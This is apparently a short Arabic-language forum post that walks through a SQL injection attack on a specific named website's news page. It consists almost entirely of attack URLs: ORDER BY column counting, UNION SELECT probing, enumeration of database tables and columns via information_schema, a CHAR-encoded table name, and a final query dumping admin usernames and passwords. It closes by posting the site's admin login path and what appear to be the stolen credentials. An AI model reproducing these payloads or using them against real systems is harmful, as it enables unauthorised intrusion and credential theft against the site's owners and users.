http://www.tartanarmy.com/news/news.php?id=130

http://www.tartanarmy.com/news/news.php?id=130 order by 3

http://www.tartanarmy.com/news/news.php?id=130 order by 10

http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,5,6

http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,@@version,6

http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema= database ()


http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name= tar_admin


http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name= CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)


أخيرأ


http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6 from tar_admin

المشاركة الأصلية كتبت بواسطة X HuNter (المشاركة 203524) http://www.tartanarmy.com/admin gavin gavin